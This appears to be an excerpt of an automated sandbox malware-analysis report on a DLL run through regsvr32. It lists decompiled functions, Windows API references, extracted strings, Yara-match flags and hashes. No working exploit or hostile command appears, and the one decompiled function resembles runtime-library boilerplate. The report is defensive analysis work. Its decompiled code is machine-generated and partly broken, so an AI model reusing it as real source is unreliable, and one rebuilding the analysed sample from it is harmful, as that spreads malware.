Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2BE50 Relevance: 9.1, APIs: 6, Instructions: 79
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 33%

			E000007FE7FEF9D2BE50(intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esp, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a24) {
				intOrPtr _v4;
				void* _v12;
				signed long long _v24;
				signed int _v36;
				long long _v180;
				long long _v184;
				intOrPtr _v192;
				char _v196;
				intOrPtr _v204;
				long _v212;
				long long _v220;
				long long _v228;
				long long _v1212;
				long long _v1308;
				char _v1460;
				char _v1476;
				char _v1484;
				int _v1492;
				long long _v1500;
				long long _v1508;
				long long _v1516;
				long long _v1524;
				long long _v1532;
				long long _v1540;
				void* _t51;
				signed long long _t80;
				long long _t85;
				void* _t100;

				_a24 = r8d;
				_a16 = __edx;
				_a8 = __ecx;
				_t80 =  *0xf9d4b018; // 0x6ebd4e3f5ce4
				_v24 = _t80 ^ _t100 - 0x00000610;
				if (_a8 == 0xffffffff) goto 0xf9d2be8d;
				E000007FE7FEF9D28D90(_t51, _a8);
				_v184 = 0;
				memset(__edi, 0, 0x94 << 0);
				_v1508 =  &_v196;
				_v1500 =  &_v1460;
				_v1492 = 0;
				_v212 = 0;
				__imp__RtlCaptureContext();
				_t85 = _v1212;
				_v220 = _t85;
				r8d = 0;
				0xf9d40e28();
				_v228 = _t85;
				if (_v228 == 0) goto 0xf9d2bf64;
				_v1516 = 0;
				_v1524 =  &_v1476;
				_v1532 =  &_v1484;
				_v1540 =  &_v1460;
				0xf9d40e22();
				goto 0xf9d2bf84;
				_v1212 = _v12;
				_v1308 =  &_v12;
				_v196 = _a4;
				_v192 = _a12;
				_v180 = _v12;
				_v1492 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(??);
				_v212 = UnhandledExceptionFilter(??);
				if (_v212 != 0) goto 0xf9d2bffb;
				if (_v1492 != 0) goto 0xf9d2bffb;
				if (_v4 == 0xffffffff) goto 0xf9d2bffb;
				return E000007FE7FEF9D23280(E000007FE7FEF9D28D90(_t59, _v4), _v4, __edx, _v36 ^ _t100 - 0x00000610, _v204, _v220);
			}

0x7fef9d2be50
0x7fef9d2be55
0x7fef9d2be59
0x7fef9d2be65
0x7fef9d2be6f
0x7fef9d2be7f
0x7fef9d2be88
0x7fef9d2be8d
0x7fef9d2beaa
0x7fef9d2beb4
0x7fef9d2bebe
0x7fef9d2bec3
0x7fef9d2becb
0x7fef9d2bedb
0x7fef9d2bee1
0x7fef9d2bee9
0x7fef9d2bef1
0x7fef9d2bf04
0x7fef9d2bf09
0x7fef9d2bf1a
0x7fef9d2bf1c
0x7fef9d2bf2a
0x7fef9d2bf34
0x7fef9d2bf3e
0x7fef9d2bf5d
0x7fef9d2bf62
0x7fef9d2bf6c
0x7fef9d2bf7c
0x7fef9d2bf8b
0x7fef9d2bf99
0x7fef9d2bfa8
0x7fef9d2bfb6
0x7fef9d2bfbc
0x7fef9d2bfcd
0x7fef9d2bfdc
0x7fef9d2bfe3
0x7fef9d2bfed
0x7fef9d2c013

APIs

RtlCaptureContext.KERNEL32 ref: 000007FEF9D2BEDB
RtlLookupFunctionEntry.KERNEL32 ref: 000007FEF9D2BF04
RtlVirtualUnwind.KERNEL32 ref: 000007FEF9D2BF5D
IsDebuggerPresent.KERNEL32 ref: 000007FEF9D2BFB0
SetUnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D2BFBC
UnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D2BFC7

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 3c99f19865488fa949415da8e2229a8dc4eaaacedc1a65a8015e4c0ea1d70d8e
Instruction ID: ff33e713b9b9862e94e2d2fd4ae4d55f0027255630586c455cca821aadc81769
Opcode Fuzzy Hash: 3c99f19865488fa949415da8e2229a8dc4eaaacedc1a65a8015e4c0ea1d70d8e
Instruction Fuzzy Hash: 7041BE32909BC58AE6B08B14F8443AFB3A1F388355F50522996CD42BA8EB7ED095CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28900 Relevance: 7.6, APIs: 5, Instructions: 55timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D2893B
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D2894B
GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D28963
GetTickCount.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D2897B
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D28998

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 3c45f80db2f34b613ab4c9fa771cbb066be9ba5f1b7e4cdc55cd1e9c18cefb40
Instruction ID: 08a22431f858d3c52821bee646358606f5e13fcd060269a72eebdbe744b14aa1
Opcode Fuzzy Hash: 3c45f80db2f34b613ab4c9fa771cbb066be9ba5f1b7e4cdc55cd1e9c18cefb40
Instruction Fuzzy Hash: 7A21E62160AF0585DAB08B19FC5032E77E0E78DBA5F241235AADD83778EF3DD2948700

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002B368 Relevance: 7.1, Strings: 5, Instructions: 879COMMON

Download Yara Rule

Strings

Fg, xrefs: 000000018002BAF8
ibq, xrefs: 000000018002BDE9
UE;~, xrefs: 000000018002B5B6
o, xrefs: 000000018002BB2A
X, xrefs: 000000018002B70D

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Fg$UE;~$ibq$X$o
API String ID: 0-4038568857
Opcode ID: 478ae4c756925d4c0df58bf132ef81c61d708642842f5bb4a6db73d18922ca94
Instruction ID: c65d31d342ee38981127283826f07a965cef744f0e08d64225b30ad95669dc15
Opcode Fuzzy Hash: 478ae4c756925d4c0df58bf132ef81c61d708642842f5bb4a6db73d18922ca94
Instruction Fuzzy Hash: B0A2E9B1E0470C9FCB59CFA8E48A6DEBBF2FB48344F004119E906B7251D7B49919CB99

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000445C Relevance: 7.1, Strings: 5, Instructions: 813COMMON

Download Yara Rule

Strings

-{e, xrefs: 0000000180004781
!g, xrefs: 0000000180004D5E
7cm, xrefs: 00000001800053EE
.9Y, xrefs: 0000000180004C85
!g, xrefs: 0000000180004B1C

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !g$!g$-{e$.9Y$7cm
API String ID: 0-3613756181
Opcode ID: 8466a7fe0396b74cedb6887ba44c1057051f2a552123ac4d034c792a786adc4e
Instruction ID: bf5508b14f48093895fd1996fdb0e85e6185e8dd26636c64e6a2ba956b5e503a
Opcode Fuzzy Hash: 8466a7fe0396b74cedb6887ba44c1057051f2a552123ac4d034c792a786adc4e
Instruction Fuzzy Hash: 409231711483CB8BCB78CF54C845BEEBBE1FB84704F10852CE86A8BA51E7B49649DB41

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800054D8 Relevance: 6.8, Strings: 5, Instructions: 573COMMON

Download Yara Rule

Strings

Ol, xrefs: 0000000180005B44
`P, xrefs: 000000018000559C
i(, xrefs: 0000000180005A7D
km}&, xrefs: 00000001800057AF
ttR, xrefs: 0000000180005A75

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Ol$`P$i($km}&$ttR
API String ID: 0-1254889785
Opcode ID: 9493bf0160dfff7cf218a8f761ba212010c51dc1cc37675f8f08f25cb4825c85
Instruction ID: 987162bd0b035dc474e6baf50d73a519649db35efcc54d1c771acda0ad58d409
Opcode Fuzzy Hash: 9493bf0160dfff7cf218a8f761ba212010c51dc1cc37675f8f08f25cb4825c85
Instruction Fuzzy Hash: 57422870908B488FD769CF79C48965EBBF1FB88748F204A1DE6A297271DB709845CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001D128 Relevance: 6.5, Strings: 5, Instructions: 249COMMON

Download Yara Rule

Strings

&JS, xrefs: 000000018001D362
T', xrefs: 000000018001D199
wHM, xrefs: 000000018001D3F6
T', xrefs: 000000018001D27D
t7", xrefs: 000000018001D35B

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: &JS$T'$T'$t7"$wHM
API String ID: 0-3882947952
Opcode ID: e1efb4f73683d5eb84ec2e51f9646df27f06f31a7415d6bac1a400d419ecf411
Instruction ID: 5dfe4264b2e9e46270ab4916ee937e41ce96fb3ef9e59635e1bc08d1b7ce1cf5
Opcode Fuzzy Hash: e1efb4f73683d5eb84ec2e51f9646df27f06f31a7415d6bac1a400d419ecf411
Instruction Fuzzy Hash: C6C1E3B150464DDFCB98CF28D1856DA7BE0FF48318F41822AFC0A9B264D774DA68DB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180023748 Relevance: 6.4, Strings: 5, Instructions: 194COMMON

Download Yara Rule

Strings

2T, xrefs: 0000000180023784
.s, xrefs: 00000001800238D7
]|m, xrefs: 0000000180023853
=+%2, xrefs: 000000018002389D
9=, xrefs: 00000001800239C1

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 2T$=+%2$]|m$.s$9=
API String ID: 0-2491194820
Opcode ID: cf9153d85b611db8c4e34f9d3970acb18e39f17aceac1e5b04446b1241c988c8
Instruction ID: b22ad84dfc9a36729601f04a7d34ea20b01e779292d252d1f9b28ced5abbce67
Opcode Fuzzy Hash: cf9153d85b611db8c4e34f9d3970acb18e39f17aceac1e5b04446b1241c988c8
Instruction Fuzzy Hash: AE911570D0978C8FDB99DFE8D046BDEBBB2EB15348F40412DE44AAB298D774550ACB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180002888 Relevance: 6.4, Strings: 5, Instructions: 185COMMON

Download Yara Rule

Strings

PXf, xrefs: 00000001800028B1
fE, xrefs: 000000018000289F
2>, xrefs: 0000000180002A36
<jG, xrefs: 0000000180002ABA
]V., xrefs: 0000000180002BCC

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: <jG$PXf$]V.$fE$2>
API String ID: 0-2974598014
Opcode ID: bad49f1636925e4aa97c527113884a17b5682b6c71c0135986e4f76ada5c5575
Instruction ID: 93145a700ffc0e4eb939e50d890ad0ed9c26548b847d798d32bc26a6146f6c62
Opcode Fuzzy Hash: bad49f1636925e4aa97c527113884a17b5682b6c71c0135986e4f76ada5c5575
Instruction Fuzzy Hash: 3FA1E9716097C88FDBBADF68C84A7CB7BE4FB49704F50461DD88A8A250CBB45649CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180026A64 Relevance: 6.4, Strings: 5, Instructions: 132COMMON

Download Yara Rule

Strings

`Zx, xrefs: 0000000180026BF7
-, xrefs: 0000000180026B83
i,, xrefs: 0000000180026A96
<yH, xrefs: 0000000180026B1C
i,, xrefs: 0000000180026ABF

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -$<yH$`Zx$i,$i,
API String ID: 0-409805761
Opcode ID: f6182156d312c6874ac13020d1629895101c3b27d9b9d95c05b51086f9e303f4
Instruction ID: e265554e7eca7cf7370185f19b3f513919126148552d798dab9d7d185450bf95
Opcode Fuzzy Hash: f6182156d312c6874ac13020d1629895101c3b27d9b9d95c05b51086f9e303f4
Instruction Fuzzy Hash: 1F511D70E0470ECFCB59CFA8D4956EFBBB6EB44384F00816DD406A6290DB749B59CB85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000D12C Relevance: 5.6, Strings: 4, Instructions: 633COMMON

Download Yara Rule

Strings

f F, xrefs: 000000018000D8B9
B, xrefs: 000000018000DD6C
G, xrefs: 000000018000DDA8
p1, xrefs: 000000018000DC0D

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: G$B$f F$p1
API String ID: 0-995880848
Opcode ID: f106650fdab1d10f8436c7cd336edd67fd48273b3da7da9a68bf46945136c829
Instruction ID: e5e766d75efbf2695ddd79b534cb997516972fc828d7cc42ecf8557e6a546d15
Opcode Fuzzy Hash: f106650fdab1d10f8436c7cd336edd67fd48273b3da7da9a68bf46945136c829
Instruction Fuzzy Hash: F972F87058478A8FDBB8DF24C8857EF7BA2FB84304F11852DE89A8B250DBB59655CF01

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028D94 Relevance: 5.5, Strings: 4, Instructions: 533COMMON

Download Yara Rule

Strings

<!b, xrefs: 00000001800294A1
q+|k, xrefs: 000000018002954F
qz;, xrefs: 000000018002901B
[2\, xrefs: 00000001800293AB

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: <!b$[2\$q+|k$qz;
API String ID: 0-4125875841
Opcode ID: 4b7cb7bbd3893869e40255ef41bc2512a7308139999d5a55f5be408d5e599cf0
Instruction ID: a542c4577bd7c2caf4f59e22e2006f44d15bdd166a7528eec1f5ff4567d3e676
Opcode Fuzzy Hash: 4b7cb7bbd3893869e40255ef41bc2512a7308139999d5a55f5be408d5e599cf0
Instruction Fuzzy Hash: 883234716187448FC769DF68C58A65EBBF0FB86744F10891DF6868B2A0C7B2D809CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000BEF0 Relevance: 5.4, Strings: 4, Instructions: 360COMMON

Download Yara Rule

Strings

&, xrefs: 000000018000C3AB
5RX, xrefs: 000000018000C159
WE0, xrefs: 000000018000C310
\h], xrefs: 000000018000C087

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: &$5RX$WE0$\h]
API String ID: 0-3485045178
Opcode ID: 03a43095a46f3f61d774493bb922c9041777d8e7f6728b8083ed9e1489c990f2
Instruction ID: bcdd786ba30a02497e69aa8425991a4f00e6ab9cdb2a577162cf86c9936701da
Opcode Fuzzy Hash: 03a43095a46f3f61d774493bb922c9041777d8e7f6728b8083ed9e1489c990f2
Instruction Fuzzy Hash: 4502E4705187C88BD794DFA8C48A69FFBE1FB94744F104A1DF486862A0DBF4D949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180013674 Relevance: 5.3, Strings: 4, Instructions: 329COMMON

Download Yara Rule

Strings

A1, xrefs: 0000000180013696
\), xrefs: 00000001800136D9
v8, xrefs: 00000001800139E8
A1, xrefs: 00000001800136BE

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: A1$A1$\)$v8
API String ID: 0-2822171287
Opcode ID: 392d2325a62e3d43b495978243ee00a583b670d5214b1fd2fb6c21b80fcb7928
Instruction ID: 6e847e787c057b57acc1c354f394c9b4082fee365cea8ba22b71c11ea9ebc013
Opcode Fuzzy Hash: 392d2325a62e3d43b495978243ee00a583b670d5214b1fd2fb6c21b80fcb7928
Instruction Fuzzy Hash: 40F1EF71904348DBCF9CDF68C88A6DE7FA1FF48394FA05129FA4697250C7759989CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800126A8 Relevance: 5.3, Strings: 4, Instructions: 317COMMON

Download Yara Rule

Strings

pv>&, xrefs: 0000000180012A94
*ECV, xrefs: 0000000180012B72
;., xrefs: 0000000180012AD8
;., xrefs: 0000000180012ADD

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: *ECV$;.$;.$pv>&
API String ID: 0-2557916696
Opcode ID: 4cb81f83a04ef04c4b0be031f68b033a83f7e38034b852111fd97ec7dec363fa
Instruction ID: 7999f9c4935295cc2aa309186ca72e602cbe03928e3ff34651e0e21172d74868
Opcode Fuzzy Hash: 4cb81f83a04ef04c4b0be031f68b033a83f7e38034b852111fd97ec7dec363fa
Instruction Fuzzy Hash: 52F1C0B0505609DFCB98CF28C599ADA7BE0FF48348F41812EFC4A9B260D774DA68DB45

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002D098 Relevance: 5.3, Strings: 4, Instructions: 255COMMON

Download Yara Rule

Strings

fkD, xrefs: 000000018002D101
Hwn, xrefs: 000000018002D518
NR'$, xrefs: 000000018002D4D9
}gK, xrefs: 000000018002D285

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Hwn$NR'$$fkD$}gK
API String ID: 0-1908897248
Opcode ID: a42200c2a405048015f864ccfe9f3e227c0945315cfa0ff0bef3f4c816ba0cee
Instruction ID: b3495f7b3258c7cfbbaf34d24a151d9f74cd673a76d708f913f7006ffd896b9d
Opcode Fuzzy Hash: a42200c2a405048015f864ccfe9f3e227c0945315cfa0ff0bef3f4c816ba0cee
Instruction Fuzzy Hash: 4AE1E6701083C8CBDBFADF64C889BDA7BACFB44708F105519EA0A9E258DB745789CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800184E8 Relevance: 5.2, Strings: 4, Instructions: 250COMMON

Download Yara Rule

Strings

3P, xrefs: 0000000180018583
?gs , xrefs: 0000000180018803
Y^u, xrefs: 00000001800186D0
!vT, xrefs: 0000000180018766

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !vT$3P$?gs $Y^u
API String ID: 0-3532888945
Opcode ID: b61af7194893f8c82987b2510d64685971d92872f6245166d2af23a9bb7efed9
Instruction ID: a130400614884e80b8bc041bf9d1a61bd98fb93a976fe1395b57ea9810b4de45
Opcode Fuzzy Hash: b61af7194893f8c82987b2510d64685971d92872f6245166d2af23a9bb7efed9
Instruction Fuzzy Hash: 72C1207160170DCBDBA8CF28C18A6CE3BE5FF48354F104129FC1A9A261D7B4EA59DB45

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800243F4 Relevance: 5.2, Strings: 4, Instructions: 240COMMON

Download Yara Rule

Strings

k, xrefs: 00000001800244B1
7k A, xrefs: 0000000180024659
2s, xrefs: 0000000180024615
-,, xrefs: 0000000180024672

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -,$7k A$k$2s
API String ID: 0-3102563331
Opcode ID: 21b97ee769df899699db8ec55527806a56553d5edd7851697391367575400d1c
Instruction ID: bac349e1162b647475c44c7bb34b04b6f4b8289c4e67fa9b2355cb93066e8c6e
Opcode Fuzzy Hash: 21b97ee769df899699db8ec55527806a56553d5edd7851697391367575400d1c
Instruction Fuzzy Hash: 36C1387151074D9BCF89DF28C88A5DD3BB1FB48398F566219FC4AA6260C7B4D584CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020F44 Relevance: 5.2, Strings: 4, Instructions: 202COMMON

Download Yara Rule

Strings

76N, xrefs: 0000000180021157
Ho<, xrefs: 0000000180020FF7
s5xe, xrefs: 0000000180021128
]}, xrefs: 00000001800210EC

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 76N$Ho<$]}$s5xe
API String ID: 0-3382501871
Opcode ID: 48f959005062580ac36a5c68606ec558c6a5f2e613880a1e5b76a83967194bde
Instruction ID: 0065c1d241d3448e2397ca8c0fa5a5365e82301828f7e764778ef267285b4530
Opcode Fuzzy Hash: 48f959005062580ac36a5c68606ec558c6a5f2e613880a1e5b76a83967194bde
Instruction Fuzzy Hash: 47A1E171504349CFCB95DF28C089ACA7BE0FF58308F42562AFC49A7255D774DAA8CB85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001CD44 Relevance: 5.2, Strings: 4, Instructions: 181COMMON

Download Yara Rule

Strings

]U, xrefs: 000000018001CF93
<~], xrefs: 000000018001CF9D
]U, xrefs: 000000018001CDA7
@:, xrefs: 000000018001CECB

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: <~]$@:$]U$]U
API String ID: 0-740249671
Opcode ID: f6acb40b154dde8fa3df42201c69f340e4f140856c7e7667b8c968f76e5b3c44
Instruction ID: 93bbccedb30105693727df547a8ee70240eea560fa1b67170d45bbd81435be64
Opcode Fuzzy Hash: f6acb40b154dde8fa3df42201c69f340e4f140856c7e7667b8c968f76e5b3c44
Instruction Fuzzy Hash: BC81387450660DCFDB69DF68D0867EE77F2FB24344F204029E815DA2A2D774CA19CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25E01 Relevance: 5.2, Strings: 4, Instructions: 178COMMON

Download Yara Rule

Strings

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25FE7
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 000007FEF9D260C7
%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 000007FEF9D2617C
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25EF9

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).
API String ID: 0-1867057952
Opcode ID: ea889a4d0a0d63da2a4932dba4f80fda51d0f679e8992708aed7b5cf259d3687
Instruction ID: 816e6155049e65d920809caa47ac9e1d3897b88b3389a19d13bb62d5438e95d4
Opcode Fuzzy Hash: ea889a4d0a0d63da2a4932dba4f80fda51d0f679e8992708aed7b5cf259d3687
Instruction Fuzzy Hash: E2810D36A18B4586DB94CF59E49072EB7A0F3C4794F610526EACD87BA8DBBED441CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180022358 Relevance: 5.2, Strings: 4, Instructions: 163COMMON

Download Yara Rule

Strings

U!t, xrefs: 00000001800223EB
q, xrefs: 000000018002251A
), xrefs: 0000000180022501
o}, xrefs: 000000018002255D

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: U!t$)$o}$q
API String ID: 0-3686089749
Opcode ID: bf0474be6c6ce2e48f6d2d7926dbfb2caa288b201239c410f95da0c70b98d83b
Instruction ID: 504cee08a43b26f7e4edd141fcc1dad3608ee18550f5ec8ccdea89eebec808be
Opcode Fuzzy Hash: bf0474be6c6ce2e48f6d2d7926dbfb2caa288b201239c410f95da0c70b98d83b
Instruction Fuzzy Hash: 74918CB190030E8FCB48CF68D58A5DE7FB1FB68398F204219F85696254D77496A5CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180003050 Relevance: 5.2, Strings: 4, Instructions: 159COMMON

Download Yara Rule

Strings

J;}, xrefs: 00000001800031CF
Hhr, xrefs: 00000001800030B1
4<, xrefs: 000000018000309F
4<, xrefs: 000000018000307A

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 4<$4<$Hhr$J;}
API String ID: 0-2050331814
Opcode ID: c5a04ea52945682b476d42612895679d50d29c6124b176cb0c2b711214be2d9b
Instruction ID: 3d3ba58424421bda00612f90d71964148b60402fac749f980543760ede98840e
Opcode Fuzzy Hash: c5a04ea52945682b476d42612895679d50d29c6124b176cb0c2b711214be2d9b
Instruction Fuzzy Hash: 7461F4B0615648DFDF58DF68C08A69A7BA1FB48354F00C12EFC1ADB294DB70DA58CB45

Uniqueness

Uniqueness Score: -1.00%

